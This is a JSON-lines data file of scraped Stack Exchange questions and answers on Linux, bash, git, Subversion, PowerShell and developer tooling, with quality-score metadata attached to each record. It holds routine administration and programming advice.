{"id": "hf_abb0892fa248", "question": "<p>got a new blog at wordpress few days ago (<a href=\"http://ghads.wordpress.com\" rel=\"noreferrer\">http://ghads.wordpress.com</a>) and I want to post some code snippets now or then. Is there anyway to make it look like code without paying for extra plugins?</p>\n", "question_body": "", "answer": "See here:\nhttp://en.support.wordpress.com/code/posting-source-code/\nWrap your code in these tags: [sourcecode language='css'] .. [/sourcecode]\n(or shorter [code lang='css'] .. [/code] )\nNote that Visual Editor doesn't interpret the tags, you need to click Preview to see how it works.\nAvailable language codes:\nactionscript3\nbash\nclojure\ncoldfusion\ncpp\ncsharp\ncss\ndelphi\nerlang\nfsharp\ndiff\ngroovy\nhtml\njavascript\njava\njavafx\nmatlab (keywords only)\nobjc\nperl\nphp\ntext\npowershell\npython\nr\nruby\nscala\nsql\nvb\nxml\nHope that helps.", "tags": ["bash", "powershell"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:44.297746"}
{"id": "hf_3a3aad3dc97e", "question": "<p>Has anyone gotten VisualWorks running under OpenBSD? It's not an officially supported platform, but one of the Cincom guys was telling me that it should be able to run under a linux compatibility mode. How did you set it up?</p>\n\n<p>I already have Squeak running without a problem, so I'm not looking for an alternative. I specifically need to run VisualWorks's Web Velocity for a project.</p>\n\n<p>Thanks,</p>\n", "question_body": "", "answer": "if you're wondering about setting up linux compatibility mode and you're running the GENERIC kernel:\n```\n```\n# sysctl kern.emul.linux=1\n```\n```\nto enable at boot uncomment the kern.emul.linux=1 line in /etc/sysctl.conf", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:44.431456"}
{"id": "hf_39b57375adda", "question": "<p>I've been given sudo access on one of our development RedHat linux boxes, and I seem to find myself quite often needing to redirect output to a location I don't normally have write access to.</p>\n\n<p>The trouble is, this contrived example doesn't work:</p>\n\n<pre><code>sudo ls -hal /root/ &gt; /root/test.out\n</code></pre>\n\n<p>I just receive the response:</p>\n\n<pre><code>-bash: /root/test.out: Permission denied\n</code></pre>\n\n<p>How can I get this to work?</p>\n", "question_body": "", "answer": "How about writing a script?\nFilename: myscript\n```\n```\n#!/bin/sh\n\n/bin/ls -lah /root > /root/test.out\n\n# end script\n```\n```\nThen use sudo to run the script:\n```\n```\nsudo ./myscript\n```\n```", "tags": ["linux", "bash"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:44.630701"}
{"id": "hf_7c3ec3464352", "question": "<p>I have a large CSV file and I want to execute a stored procedure for each line.</p>\n\n<p>What is the best way to execute a stored procedure from PowerShell?</p>\n", "question_body": "", "answer": "Consider calling osql.exe (the command line tool for SQL Server) passing as parameter a text file written for each line with the call to the stored procedure.\nSQL Server provides some assemblies that could be of use with the name SMO that have seamless integration with PowerShell. Here is an article on that.\nhttp://www.databasejournal.com/features/mssql/article.php/3696731\nThere are API methods to execute stored procedures that I think are worth being investigated. Here a startup example:\nhttp://www.eggheadcafe.com/software/aspnet/29974894/smo-running-a-stored-pro.aspx", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:44.868463"}
{"id": "hf_049fbf1079d4", "question": "<p>ssh will look for its keys by default in the ~/.ssh folder. I want to force it to always look in another location.</p>\n\n<p>The workaround I'm using is to add the keys from the non-standard location to the agent:</p>\n\n<pre><code>ssh-agent\nssh-add /path/to/where/keys/really/are/id_rsa \n</code></pre>\n\n<p>(on Linux and MingW32 shell on Windows)</p>\n", "question_body": "", "answer": "```\nman ssh\n```\ngives me this options would could be useful.\n-i identity_file\nSelects a file from which the identity (private key) for RSA or\nDSA authentication is read.  The default is ~/.ssh/identity for\nprotocol version 1, and ~/.ssh/id_rsa and ~/.ssh/id_dsa for pro-\ntocol version 2.  Identity files may also be specified on a per-\nhost basis in the configuration file.  It is possible to have\nmultiple -i options (and multiple identities specified in config-\nuration files).\nSo you could create an alias in your bash config with something like\nalias ssh=\"ssh -i /path/to/private_key\"\nI haven't looked into a ssh configuration file, but like the\n```\n-i\n```\noption this too could be aliased\n-F configfile\nSpecifies an alternative per-user configuration file.  If a configuration file is given on the command line, the system-wide configuration file (/etc/ssh/ssh_config) will be ignored. The default for the per-user configuration file is ~/.ssh/config.", "tags": ["linux", "bash"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:45.047734"}
{"id": "hf_984f788a3c90", "question": "<p>How do I create a self-signed certificate for code signing using tools from the Windows SDK?</p>\n", "question_body": "", "answer": "Updated Answer\nIf you are using the following Windows versions or later: Windows Server 2012, Windows Server 2012 R2, or Windows 8.1 then\nMakeCert is now deprecated\n, and Microsoft recommends using\nthe PowerShell Cmdlet\nNew-SelfSignedCertificate\n.\nIf you're using an older version such as Windows 7, you'll need to stick with MakeCert or another solution. Some people\nsuggest\nthe\nPublic Key Infrastructure Powershell (PSPKI) Module\n.\nOriginal Answer\nWhile you can create a self-signed code-signing certificate (SPC -\nSoftware Publisher Certificate\n) in one go, I prefer to do the following:\nCreating a self-signed certificate authority (CA)\n```\n```\nmakecert -r -pe -n \"CN=My CA\" -ss CA -sr CurrentUser ^\n         -a sha256 -cy authority -sky signature -sv MyCA.pvk MyCA.cer\n```\n```\n(^ = allow batch command-line to wrap line)\nThis creates a self-signed (-r) certificate, with an exportable private key (-pe). It's named \"My CA\", and should be put in the CA store for the current user. We're using the\nSHA-256\nalgorithm. The key is meant for signing (-sky).\nThe private key should be stored in the MyCA.pvk file, and the certificate in the MyCA.cer file.\nImporting the CA certificate\nBecause there's no point in having a CA certificate if you don't trust it, you'll need to import it into the Windows certificate store. You\ncan\nuse the Certificates MMC snapin, but from the command line:\n```\n```\ncertutil -user -addstore Root MyCA.cer\n```\n```\nCreating a code-signing certificate (SPC)\n```\n```\nmakecert -pe -n \"CN=My SPC\" -a sha256 -cy end ^\n         -sky signature ^\n         -ic MyCA.cer -iv MyCA.pvk ^\n         -sv MySPC.pvk MySPC.cer\n```\n```\nIt is pretty much the same as above, but we're providing an issuer key and certificate (the -ic and -iv switches).\nWe'll also want to convert the certificate and key into a PFX file:\n```\n```\npvk2pfx -pvk MySPC.pvk -spc MySPC.cer -pfx MySPC.pfx\n```\n```\nIf you are using a password please use the below\n```\n```\npvk2pfx -pvk MySPC.pvk -spc MySPC.cer -pfx MySPC.pfx -po fess\n```\n```\nIf you want to protect the PFX file, add the -po switch, otherwise PVK2PFX creates a PFX file with no passphrase.\nUsing the certificate for signing code\n```\n```\nsigntool sign /v /f MySPC.pfx ^\n              /t http://timestamp.url MyExecutable.exe\n```\n```\n(\nSee why timestamps may matter\n)\nIf you import the PFX file into the certificate store (you can use PVKIMPRT or the MMC snapin), you can sign code as follows:\n```\n```\nsigntool sign /v /n \"Me\" /s SPC ^\n              /t http://timestamp.url MyExecutable.exe\n```\n```\nSome possible timestamp URLs for\n```\nsigntool /t\n```\nare:\n```\nhttp://timestamp.verisign.com/scripts/timstamp.dll\n```\n```\nhttp://timestamp.globalsign.com/scripts/timstamp.dll\n```\n```\nhttp://timestamp.comodoca.com/authenticode\n```\n```\nhttp://timestamp.digicert.com\n```\nFull Microsoft documentation\nsigntool\nmakecert\npvk2pfx\nDownloads\nFor those who are not .NET developers, you will need a copy of the Windows SDK and .NET framework. A current link is available here: [SDK & .NET][5] (which installs makecert in `C:\\Program Files\\Microsoft SDKs\\Windows\\v7.1`). Your mileage may vary.\nMakeCert is available from the Visual Studio Command Prompt. Visual Studio 2015 does have it, and it can be launched from the Start Menu in Windows 7 under \"Developer Command Prompt for VS 2015\" or \"VS2015 x64 Native Tools Command Prompt\" (probably all of them in the same folder).", "tags": ["git", "powershell"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:45.274360"}
{"id": "hf_b50dfab319be", "question": "<p>This is a pretty simple question, at least it seems like it should be, about sudo permissions in Linux.</p>\n\n<p>There are a lot of times when I just want to append something to <code>/etc/hosts</code> or a similar file but end up not being able to because both <code>&gt;</code> and <code>&gt;&gt;</code> are not allowed, even with root.</p>\n\n<p>Is there someway to make this work without having to <code>su</code> or <code>sudo su</code> into root?</p>\n", "question_body": "", "answer": "```\n```\nsudo sh -c \"echo 127.0.0.1 localhost >> /etc/hosts\"\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:45.402912"}
{"id": "hf_c3b003ad9f1c", "question": "<p>Assuming network access is sporadic with no central server, what would be the best way to use git to keep three or more branches in sync? Is there a way to extract just my deltas, email those, and merge them on the other end?</p>\n", "question_body": "", "answer": "See the main pages for\n```\ngit-format-patch\n```\nand\n```\ngit-am\n```\n. This is one of the ways the system was originally designed to work with.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:45.513627"}
{"id": "hf_e8591f5b24bc", "question": "<p>How do I ignore files in Subversion?</p>\n\n<p>Also, how do I find files which are not under version control?</p>\n", "question_body": "", "answer": "(This answer has been updated to match SVN 1.8 and 1.9's behaviour)\nYou have 2 questions:\nMarking files as ignored:\nBy \"ignored file\" I mean the file won't appear in lists even as \"unversioned\": your SVN client will pretend the file doesn't exist at all in the filesystem.\nIgnored files are specified by a \"file pattern\". The syntax and format of file patterns is explained in SVN's online documentation:\nhttp://svnbook.red-bean.com/nightly/en/svn.advanced.props.special.ignore.html\n\"File Patterns in Subversion\".\nSubversion, as of version 1.8 (June 2013) and later, supports 3 different ways of specifying file patterns. Here's a summary with examples:\n1 - Runtime Configuration Area -\n```\nglobal-ignores\n```\noption:\nThis is a\nclient-side only\nsetting, so your\n```\nglobal-ignores\n```\nlist won't be shared by other users, and it applies to all repos you checkout onto your computer.\nThis setting is defined in your Runtime Configuration Area file:\nWindows (file-based) -\n```\nC:\\Users\\{you}\\AppData\\Roaming\\Subversion\\config\n```\nWindows (registry-based) -\n```\nSoftware\\Tigris.org\\Subversion\\Config\\Miscellany\\global-ignores\n```\nin both\n```\nHKLM\n```\nand\n```\nHKCU\n```\n.\nLinux/Unix -\n```\n~/.subversion/config\n```\n2 - The\n```\nsvn:ignore\n```\nproperty, which is set on directories (not files):\nThis is stored within the repo, so other users will have the same ignore files. Similar to how\n```\n.gitignore\n```\nworks.\n```\nsvn:ignore\n```\nis applied to directories and is non-recursive or inherited. Any file or\nimmediate\nsubdirectory of the parent directory that matches the File Pattern will be excluded.\nWhile SVN 1.8 adds the concept of \"inherited properties\", the\n```\nsvn:ignore\n```\nproperty itself is ignored in non-immediate descendant directories:\n```\n```\ncd ~/myRepoRoot                             # Open an existing repo.\necho \"foo\" > \"ignoreThis.txt\"                # Create a file called \"ignoreThis.txt\".\n\nsvn status                                  # Check to see if the file is ignored or not.\n> ?    ./ignoreThis.txt\n> 1 unversioned file                        # ...it is NOT currently ignored.\n\nsvn propset svn:ignore \"ignoreThis.txt\" .   # Apply the svn:ignore property to the \"myRepoRoot\" directory.\nsvn status\n> 0 unversioned files                       # ...but now the file is ignored!\n\ncd subdirectory                             # now open a subdirectory.\necho \"foo\" > \"ignoreThis.txt\"                # create another file named \"ignoreThis.txt\".\n\nsvn status\n> ?    ./subdirectory/ignoreThis.txt        # ...and is is NOT ignored!\n> 1 unversioned file\n```\n```\n(So the file\n```\n./subdirectory/ignoreThis\n```\nis not ignored, even though \"\n```\nignoreThis.txt\n```\n\" is applied on the\n```\n.\n```\nrepo root).\nTherefore, to apply an ignore list recursively you must use\n```\nsvn propset svn:ignore <filePattern> . --recursive\n```\n.\nThis will create a copy of the property on every subdirectory.\nIf the\n```\n<filePattern>\n```\nvalue is different in a child directory then the child's value completely overrides the parents, so there is no \"additive\" effect.\nSo if you change the\n```\n<filePattern>\n```\non the root\n```\n.\n```\n, then you must change it with\n```\n--recursive\n```\nto overwrite it on the child and descendant directories.\nI note that the command-line syntax is counter-intuitive.\nI started-off assuming that you would ignore a file in SVN by typing something like\n```\nsvn ignore pathToFileToIgnore.txt\n```\nhowever this is not how SVN's ignore feature works.\n3- The\n```\nsvn:global-ignores\n```\nproperty. Requires SVN 1.8 (June 2013):\nThis is similar to\n```\nsvn:ignore\n```\n, except it makes use of SVN 1.8's \"inherited properties\" feature.\nCompare to\n```\nsvn:ignore\n```\n, the file pattern is automatically applied in every descendant directory (not just immediate children).\nThis means that is unnecessary to set\n```\nsvn:global-ignores\n```\nwith the\n```\n--recursive\n```\nflag, as inherited ignore file patterns are automatically applied as they're inherited.\nRunning the same set of commands as in the previous example, but using\n```\nsvn:global-ignores\n```\ninstead:\n```\n```\ncd ~/myRepoRoot                                    # Open an existing repo\necho \"foo\" > \"ignoreThis.txt\"                       # Create a file called \"ignoreThis.txt\"\nsvn status                                         # Check to see if the file is ignored or not\n> ?    ./ignoreThis.txt\n> 1 unversioned file                               # ...it is NOT currently ignored\n\nsvn propset svn:global-ignores \"ignoreThis.txt\" .\nsvn status\n> 0 unversioned files                              # ...but now the file is ignored!\n\ncd subdirectory                                    # now open a subdirectory\necho \"foo\" > \"ignoreThis.txt\"                       # create another file named \"ignoreThis.txt\"\nsvn status\n> 0 unversioned files                              # the file is ignored here too!\n```\n```\nFor TortoiseSVN users:\nThis whole arrangement was confusing for me, because TortoiseSVN's terminology (as used in their Windows Explorer menu system) was initially misleading to me - I was unsure what the significance of the Ignore menu's \"Add  recursively\", \"Add *\" and \"Add \" options. I hope this post explains how the Ignore feature ties-in to the SVN Properties feature. That said, I suggest using the command-line to set ignored files so you get a feel for how it works instead of using the GUI, and only using the GUI to manipulate properties after you're comfortable with the command-line.\nListing files that are ignored:\nThe command\n```\nsvn status\n```\nwill hide ignored files (that is, files that match an RGA\n```\nglobal-ignores\n```\npattern, or match an immediate parent directory's\n```\nsvn:ignore\n```\npattern or match any ancesor directory's\n```\nsvn:global-ignores\n```\npattern.\nUse the\n```\n--no-ignore\n```\noption to see those files listed. Ignored files have a status of\n```\nI\n```\n, then pipe the output to\n```\ngrep\n```\nto only show lines starting with \"I\".\nThe command is:\n```\n```\nsvn status --no-ignore | grep \"^I\"\n```\n```\nFor example:\n```\n```\nsvn status\n> ? foo                             # An unversioned file\n> M modifiedFile.txt                # A versioned file that has been modified\n\nsvn status --no-ignore\n> ? foo                             # An unversioned file\n> I ignoreThis.txt                  # A file matching an svn:ignore pattern\n> M modifiedFile.txt                # A versioned file that has been modified\n\nsvn status --no-ignore | grep \"^I\"\n> I ignoreThis.txt                  # A file matching an svn:ignore pattern\n```\n```\nta-da!", "tags": ["linux", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:45.730099"}
{"id": "hf_729ef59de94b", "question": "<p>Is my best be going to be a shell script which replaces symlinks with copies, or is there another way of telling Git to follow symlinks?</p>\n\n<p>PS: I know it's not very secure, but I only want to do it in a few specific cases.</p>\n", "question_body": "", "answer": "NOTE:\nThis advice is now out-dated as per comment since Git 1.6.1. Git used to behave this way, and no longer does.\nGit by default attempts to store symlinks instead of following them (for compactness, and it's generally what people want).\nHowever, I accidentally managed to get it to add files beyond the symlink when the symlink is a directory.\nI.e.:\n```\n```\n/foo/\n  /foo/baz\n  /bar/foo --> /foo\n  /bar/foo/baz\n```\n```\nby doing\n```\n```\ngit add /bar/foo/baz\n```\n```\nit appeared to work when I tried it. That behavior was however unwanted by me at the time, so I can't give you information beyond that.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:45.881250"}
{"id": "hf_a50de2e61cf2", "question": "<p>Does a free .NET library exist with which I can upload a file to a SFTP (SSH FTP) server, which throws exceptions on problems with the upload and allows the monitoring of its progress?</p>\n", "question_body": "", "answer": "There is no solution for this within the .net framework.\nhttp://www.eldos.com/sbb/sftpcompare.php\noutlines a list of un-free options.\nyour best free bet is to extend SSH using Granados.\nhttp://www.routrek.co.jp/en/product/varaterm/granados.html", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:46.034449"}
{"id": "hf_a06ed0166cce", "question": "<p>Subversion has a superb client on Windows (Tortoise, of course). Everything I've tried on Linux just - well - sucks in comparison....</p>\n", "question_body": "", "answer": "See my question:\nWhat is the best subversion client for Linux?\nI also agree, GUI clients in linux suck.\nI use\nsubeclipse\nin Eclipse and\nRapidSVN\nin gnome.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:46.183717"}
{"id": "hf_7d497723ae52", "question": "<p>Does <a href=\"http://elmah.github.io/\" rel=\"nofollow noreferrer\">ELMAH</a> logged exceptions even when they do not bubble up to the application?  I'd like to pop up a message when an exception occurs and still log the exception.  Currently I've been putting everything in try catch blocks and spitting out messages, but this gets tedious.</p>\n", "question_body": "", "answer": "ELMAH has been updated to support a new feature called\nSignaling\n.\nThis allows you to handle exceptions how you want, while still logging them to ELMAH.\n```\n```\ntry\n{\n    int i = 5;\n    int j = 0;\n    i = i / j; //Throws exception\n}\ncatch (Exception ex)\n{\n    MyPersonalHandlingCode(ex);\n    ErrorSignal.FromCurrentContext().Raise(ex); //ELMAH Signaling\n}\n```\n```\nRe-throwing exceptions can be a bad practice as it makes it difficult to trace the flow of an application.  Using Signaling is a much better approach if you intended to handle the error in some fashion and simply want to document it.\nPlease check out this excellent guide by\nDotNetSlackers on ELMAH", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:46.461671"}
{"id": "hf_5514e800bdf3", "question": "<p>Is there a command that would allow me to check if the string <code>\"xyz\"</code> was ever in file <code>foo.c</code> in the repository and print which revisions they were found in?  </p>\n", "question_body": "", "answer": "This will print any commits where the diff contains xyz\n```\n```\ngit log -Sxyz foo.c\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:46.668387"}
{"id": "hf_d8532b925d41", "question": "<p>I suppose it allows for moving changes from one branch to the next but that's what cherry picking is for and if you're not making a commit of your changes, perhaps you shouldn't be moving them around?</p>\n\n<p>I have on occasion applied the wrong stash at the wrong branch, which left me wondering about this question.</p>\n", "question_body": "", "answer": "if you want a \"stash\" that runs off a branch do something like this to store your changes on a new branch off your current branch.\n```\n```\ngit checkout -b new_stash\ngit commit -a -m \"stashed changes\"\n```\n```\nto undo the stash\n```\n```\ngit reset HEAD^\ngit branch -d new_stash\n```\n```\ngit stash is especially useful because you can pull changes into a dirty tree, i.e. if you have outstanding edits and want to do a\n```\n```\ngit pull\n```\n```\nand you can't, you can stash your changes, pull and then apply the stash\n```\n```\ngit stash\ngit pull\ngit stash apply\ngit stash clear\n```\n```\nhope this helped!", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:46.808051"}
{"id": "hf_d446eda0bd63", "question": "<p>When writing C/C++ code, in order to debug the binary executable the debug option must be enabled on the compiler/linker.  In the case of GCC, the option is -g.  When the debug option is enabled, how does the affect the binary executable?  What additional data is stored in the file that allows the debugger function as it does?</p>\n", "question_body": "", "answer": "-g tells the compiler to store symbol table information in the executable.  Among other things, this includes:\nsymbol names\ntype info for symbols\nfiles and line numbers where the symbols came from\nDebuggers use this information to output meaningful names for symbols and to associate instructions with particular lines in the source.\nFor some compilers, supplying -g will disable certain optimizations. For example, icc sets the default optimization level to -O0 with -g unless you explicitly indicate -O[123].  Also, even if you do supply -O[123], optimizations that prevent stack tracing will still be disabled (e.g. stripping frame pointers from stack frames.  This has only a minor effect on performance).\nWith some compilers, -g will disable optimizations that can confuse where symbols came from (instruction reordering, loop unrolling, inlining etc).  If you want to debug with optimization, you can use -g3 with gcc to get around some of this.  Extra debug info will be included about macros, expansions, and functions that may have been inlined. This can allow debuggers and performance tools to map optimized code to the original source, but it's best effort.  Some optimizations really mangle the code.\nFor more info, take a look at\nDWARF\n, the debugging format originally designed to go along with ELF (the binary format for Linux and other OS's).", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:46.943495"}
{"id": "hf_09d0f2301955", "question": "<p>I have a shell script that executes a number of commands. How do I make the shell script exit if any of the commands exit with a non-zero exit code?</p>\n", "question_body": "", "answer": "In Bash this is easy. Just tie them together with\n```\n&&\n```\n:\n```\n```\ncommand1 && command2 && command3\n```\n```\nYou can also use the nested\nif\nconstruct:\n```\n```\nif command1\n   then\n       if command2\n           then\n               do_something\n           else\n               exit\n       fi\n   else\n       exit\nfi\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:47.091497"}
{"id": "hf_b4369c6420b9", "question": "<p>What is the easiest cross platform widget toolkit? I'm looking for one that minimally covers Windows, OSX, and Linux with a C or C++ interface.</p>\n", "question_body": "", "answer": "Are we talking GUI Widgets?  If so, I can suggest 3\nFLTK:\nhttp://www.fltk.org/\nGTK:\nhttp://www.gtk.org/\nQT:\nhttp://trolltech.com/products/qt/", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:47.354002"}
{"id": "hf_5410617b3526", "question": "<p>I believe strongly in using unit-tests as part of building large multi-platform applications. We currently are planning on having our unit-tests within a separate project. This has the benefit of keeping our code base clean. I think, however, that this would separate the test code from the implementation of the unit. What do you think of this approach and are there any tools like JUnit for c++ applications?</p>\n", "question_body": "", "answer": "That's a reasonable approach.\nI've had very good results both with\nUnitTest++\nand\nBoost.Test\nI've looked at CppUnit, but to me, it felt more like a translation of the JUnit stuff than something aimed at C++.\nUpdate:\nThese days I prefer using\nCatch\n. I found it to be effective and simple to use.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:47.483734"}
{"id": "hf_4e6a0e5a3971", "question": "<p>When doing shell scripting, typically data will be in files of single line records like csv. It's really simple to handle this data with <code>grep</code> and <code>sed</code>. But I have to deal with XML often, so I'd really like a way to script access to that XML data via the command line. What are the best tools?</p>\n", "question_body": "", "answer": "Some promising tools:\nnokogiri\n: parsing HTML/XML DOMs in ruby using XPath & CSS selectors\nhpricot\n: deprecated\nfxgrep\n:\nUses its own XPath-like syntax to query documents. Written in SML, so \ninstallation may be difficult.\nLT XML\n:\nXML toolkit derived from SGML tools, including\n```\nsggrep\n```\n,\n```\nsgsort\n```\n,\n```\nxmlnorm\n```\nand others. Uses its own query syntax. The documentation is\nvery\nformal. Written in C. LT XML 2 claims support of XPath, XInclude \nand other W3C standards.\nxmlgrep2\n:\nsimple and powerful searching with XPath. Written in Perl using \nXML::LibXML and libxml2.\nXQSharp\n:\nSupports XQuery, the extension to XPath. Written for the .NET Framework.\nxml-coreutils\n:\nLaird Breyer's toolkit equivalent to GNU coreutils. Discussed in an \ninteresting\nessay\non what the ideal toolkit should include.\nxmldiff\n:\nSimple tool for comparing two xml files.\nxmltk\n: doesn't seem to have package in debian, ubuntu, fedora, or macports, hasn't had a release since 2007, and uses non-portable build automation.\nxml-coreutils seems the best documented and most UNIX-oriented.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:47.615264"}
{"id": "hf_99da70f4b34a", "question": "<p>i've been programming a while in D <a href=\"http://www.digitalmars.com/d/\" rel=\"nofollow noreferrer\">(http://www.digitalmars.com/d/)</a> now. I prefer it to Java because it is faster. However, i have not found an Editor that supports Code-Completion and Debugging (Step-Over, Step-Into, Breakpoints,...).</p>\n\n<p>Do you have any suggestions?</p>\n\n<p>P.S: gdb did not work.</p>\n", "question_body": "", "answer": "Descent\n, the Eclipse plugin, should support both (if you have a D supporting debugger installed). I have to admit I haven't tried it in a long time though, and when I did, debugging did\nnot\nwork, using gdb.\nSee also\nthis question\nPersonally I use Vim which currently provides neither completion nor debugging, although I know a completion engine was started once.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:47.774262"}
{"id": "hf_247d9dc0c644", "question": "<p>I'm writing some xlst file which I want to use under linux and Windows. \nIn this file I use node-set function which declared in different namespaces for MSXML and xsltproc (\"urn:schemas-microsoft-com:xslt\" and \"<a href=\"http://exslt.org/common\" rel=\"nofollow noreferrer\">http://exslt.org/common</a>\" respectively). Is there any platform independent way of using node-set?</p>\n", "question_body": "", "answer": "Firefox 3 implements node-set (as part of the EXSLT 2.0 namespace improvements) in it's client-side XSLT processing.\nMaybe not quite the answer you were looking for - but it could be, depending on the context of your problem. ;-)", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:47.914304"}
{"id": "hf_33cc557feae3", "question": "<p>There doesn't appear to be any Perl libraries that can open, manipulate, and re-save PDF documents that use the newer PDF version (1.5 and above I believe) that use a cross-reference stream rather than table.  Does anyone know of any unix/linux-based utilities to convert a PDF to an older version?  Or perhaps there's a Perl module in CPAN I missed that can handle this?</p>\n", "question_body": "", "answer": "I would try running it through ghostscript with appropriate parameters.\nSomething like\n```\ngs -dBATCH -dNOPAUSE -sDEVICE=pdfwriter -dCompatibilityLevel=1.2\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:48.045499"}
{"id": "hf_590fb6bfa43a", "question": "<p>How solid is Mono for C# development on Linux and OS X?  I've been thinking about learning C# on the side, and was wondering if learning using Mono would suffice.</p>\n", "question_body": "", "answer": "It should be just fine. It supports C# 3.0 now. I usually try to stick with targeting 2.0 though and it is very stable.\nWinforms and ASP.NET have both worked fine for me. The only thing to consider is there is currently no support for WPF.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:48.169677"}
